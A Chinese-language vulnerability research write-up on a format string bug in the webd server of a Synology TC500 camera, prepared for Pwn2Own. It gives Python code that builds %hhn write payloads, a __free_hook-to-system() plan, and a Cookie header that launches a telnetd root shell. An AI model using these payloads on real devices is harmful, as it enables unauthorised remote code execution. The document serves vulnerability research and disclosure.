2024 年 10 月,InfoSect 参加了 Pwn2Own 漏洞赏金比赛,目标涵盖摄像头、NAS、智能音箱等嵌入式设备。本文将分享我们为在 Synology TC500 智能摄像头上实现远程代码执行而开发的一条利用链,核心是一处格式化字符串漏洞。虽然最终我们并未能在比赛上成功使用该利用链,但它仍是一次非常有趣的格式化字符串漏洞研究案例。
该摄像头的固件可以公开下载,并可参考第 6 届 Real World CTF 的类似配置,在模拟环境中运行。通过仿真,我们梳理出了该设备的攻击面:在 LAN 侧开放的接口之一是用于登录并管理相机的webd
二进制程序;另一个开放端口则是 RTSP 管理进程streamd
。
$ netstat -plantu
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
PID/Program name
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 770/webd
tcp 0 0 0.0.0.0:554 0.0.0.0:* LISTEN 847/streamd
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 770/webd
tcp 0 0 :::554 :::* LISTEN 847/streamd
udp 0 0 0.0.0.0:19998 0.0.0.0:* 770/webd
webd
二进制文件是基于开源 civetweb Web 服务器的定制版本,仅针对调试、日志记录以及与 RTSP 服务的交互做了少量修改。它运行于 32 位 ARM 平台,并启用了常见的应用级安全缓解措施:PIE、RELRO、ASLR 和stack canaries,使用的glibc版本为v2.30。
在对webd
进行逆向分析时,我们发现其对process_new_connection
函数做了细微修改。每当工作线程收到新的 HTTP 请求时,就会调用该函数进行处理。Synology 额外引入了一个全局调试信息表,用于记录每个工作线程及其最近处理的连接信息。在process_new_connection
的末尾,系统通过snprintf
将当前请求信息追加到thread_name
字段中。
req_uri = conn->request_info.request_uri;
...
char thread_name[0x80];
mg_snprintf(0, nullptr, thread_name, 0x80, "%s%s", ..., req_uri);
随后,thread_name
通过调用set_thread_name
被追加到worker_debug_table
中。
if (worker_debug_table != 0)
set_thread_name(pthread_self(), thread_name);
然而,在set_thread_name
内部,输入的thread_name
被直接作为唯一实参传入mg_snprintf
,这就引入了一个格式化字符串漏洞:原始request_uri
被当作格式字符串直接用于snprintf
。
void set_thread_name(pthread_t self, char* thread_name)
{
...
if (worker_debug_table[i]->thread == self)
{
mg_snprintf(0, nullptr, worker_debug_table[i]->name, 0x80, thread_name);
worker_debug_table[i]->name[strlen(thread_name)] = 0;
}
...
}
worker_debug_table
中的线程名并不会返回给远程用户,因此我们一开始无法像%p%p%p%p
这样直接通过 URI 从栈上泄露指针。不过,通过观察触发漏洞时snprintf
的栈状态,我们找到了一条潜在的信息泄露路径。
pwndbg> telescope
...
07:001c| 0x7588268c -> 0x75500610 <- 0x312e31 /* '1.1' */
在栈的第七个位置上,存放着一个指向字符串的指针,该字符串包含请求所使用的 HTTP 版本。这意味着我们可以利用该漏洞覆盖这个指针,构造如下所示的 URL:%*[some_stack_entry_index]$c%7$n
。
这条格式化字符串分为两部分:
%*[some_stack_entry_index]$c
:按位置参数从栈上取出某个值,并以该值作为“已写入字符数”。
%7$n
:将到目前为止格式化输出的总字节数写入第 7 个位置参数(即我们所说的第七个栈指针)。
例如,对于下面的 C 代码,最终将有 3 个字节被计入,变量x
也就被更新为 3。
int x;
printf("%*3$c%7$n", "abcdefghijklmn", NULL, 3, NULL, NULL, NULL, &x);
使用这种格式,我们可以向 HTTP 版本字符串写入一个指针,该字符串随后会被返回给我们,从而实现 ASLR 绕过。此技术的限制在于,在特定架构和 glibc 版本下,最多只能写入约 0x60000000 字节。这意味着我们无法写入一个位于可执行段之外(地址范围约为 0x50000000–0x60000000)的完整指针。
我们可以使用带有自定义长度的字符串,通过类似技术来覆盖栈中的任何指针。格式字符串必须为%[some-value]c%[some_stack_index]$n
。利用%n
、%hn
或%hhn
,我们可分别写入 32 位、16 位或 8 位数据。
通过将栈写原语转化为任意写原语,我们可以把栈指针更新为指向自身。在栈偏移 3664 处存在一个指向栈的指针,我们将其称为p1
。p1
可被修改为指向另一个栈指针p2
,而p2
位于栈中再往后 0x10 字节的位置。
pwndbg> tele $sp+3664
00:0000| 0x758834c0 <- 0x758834c0 ## p1
...
04:0010| 0x758834d0 -> 0x75882e68 ## p2 <- 0x5f715ee8
在用%hhn
覆盖该偏移后,可将其修改如下。
pwndbg> tele $sp+3664
00:0000| 0x758834c0 -> 0x758834d0 ## p1 -> 0x75882e68 ## p2<- 0x5f715ee8
04:0010| 0x758834d0 -> 0x75882e68 ## p2 <- 0x5f715ee8
这些指针位于工作线程栈的极深处,因此指针的修改可在多次请求间保持不变。
现在,我们可以通过p1
更新p2
,使栈指针指向任意地址;随后再通过更新p2
的内容,将数据写入该任意地址。
借助p1
,p2
可被指向栈中偏移 2080 的位置。该区域实际上未被使用,因此对其所做的更改也能在多次请求间保持。我们将指向该区域的指针称为p3
。于是,p2
指向p3
,我们可以通过先更新p2
的最后一个字节,再覆盖p3
的内容来逐步调整p3
,从而可在p3
处构造出任意指针。随后,使用与栈写相同的方法,利用p3
的栈索引完成写入。8 位任意写原语的代码如下所示。
def stack_write8(offset, value):
entry = offset // 4
if len(CLIENT_IP) + 1 > value:
value += 0x100
req = b'GET /%' + str(value - len(CLIENT_IP) - 1).encode() + b'c%' +
str(entry).encode() + b'$hhn HTTP/1.1\r\n\r\n'
print(req)
do_request(req)
def arb_write8(addr, value):
# Point to offset 2080 by updating p2's last byte to 0x90
stack_write8(p1, 0x90)
# Write the last byte of the address to p2 (which is pointing to p3)
stack_write8(p2, addr & 0xFF)
# Increment p2 by one byte
stack_write8(p1, 0x91)
# Write 2nd byte of address to p2
stack_write8(p2, (addr >> 8) & 0xFF)
# repeat until all bytes are written
stack_write8(p1, 0x92)
stack_write8(p2, (addr >> 16) & 0xFF)
stack_write8(p1, 0x93)
stack_write8(p2, (addr >> 24) & 0xFF)
if len(CLIENT_IP) + 1 > value:
value += 0x100
req = b'/%' + str(value - len(CLIENT_IP) - 1).encode() + b'c%' + str(OFFSET_STACK_DATA // 4).encode() + b'$hhn'
return do_request(b'GET %s HTTP/1.1\r\n\r\n' % req
将任意写原语与信息泄露原语结合,就可以实现任意读原语。只需把信息泄露中使用的http_version
字符串地址改写成目标地址,然后发起一次请求,就能把该地址上的内容泄露出来。
要获得远程 Shell,关键在于 glibc 2.30 为多种 libc API 提供了“钩子”。我们采用的总体思路为:将__free_hook
覆盖为system()
的地址,并以指向受控字符串的指针作为free()
的第一个参数调用它。
首先,利用信息泄露原语可以确定 PIE 基址,进而获得.got
的地址。.got
中保存了 glibc 函数的地址,如system
、malloc
和free
。借助.got
中的信息,可以计算出 glibc 的基址,从而得到__free_hook
的地址。随后,使用任意写原语将__free_hook
覆盖为system
。
接下来,可以通过Cookie
HTTP 头强制webd
进程对受控字符串调用free
(此时已变成system
)。位于0x34a54
的函数(我们称之为GetSessionIdFromCookie
)会根据 Cookie 值创建一个std::string
。
int32_t* GetSessionIdFromCookie(int32_t* arg1, struct mg_request_info*arg2) {
int32_t num_headers = arg2->num_headers
...
if (num_headers <= 0)
...
else
...
while (true)
if (strcmp(p1: arg2->headers[i_2].name, p2: "Cookie") == 0)
char* cookie = arg2->headers[i_2].value
if (cookie != 0)
....
std::string::_M_construct<char const*>(&delim, "; ", &data_afee8[2])
std::vector<std::string> split_cookie
SplitStr(ret: &split_cookie, &cookie_1, &delim) // [1]
...
std::vector<std::string> split_cookie_1 = split_cookie
...
else
while (true)
cookie_1 = &var_3c
std::string::_M_construct<char const*>(&cookie_1, "=", &data_ab95c[9])
SplitStr_2(&var_8c, &split_cookie_1[2], &cookie_1)
void* cookie_3 = cookie_1
if (cookie_3 != &var_3c) // [2]
operator delete(ptr: cookie_3)
}
在[1]
处,该函数以分号为分隔符分割 Cookie,将结果存放在split_cookie
向量中。随后在[2]
处,函数会删除从 Cookie 开头到第一个分号的所有内容。因此,我们可以发送如下内容的 Cookie:
Cookie: telnetd -p 1337 -l /bin/sh -F; AAAAAAA
当 Cookie 被分割后,telnetd
命令将在字符串被释放时由system()
执行。
该利用方式在受漏洞影响的 TC500 固件版本上运行良好。然而,就在我们飞往爱尔兰提交利用代码的前一晚,Synology 推送了一次固件更新,修补了该格式字符串漏洞。这就是 Pwn2Own 的真实写照……
如果你想了解针对该漏洞的另一种利用方式,可以阅读Baptiste MOINE 撰写了一篇关于 Synology 的精彩文章。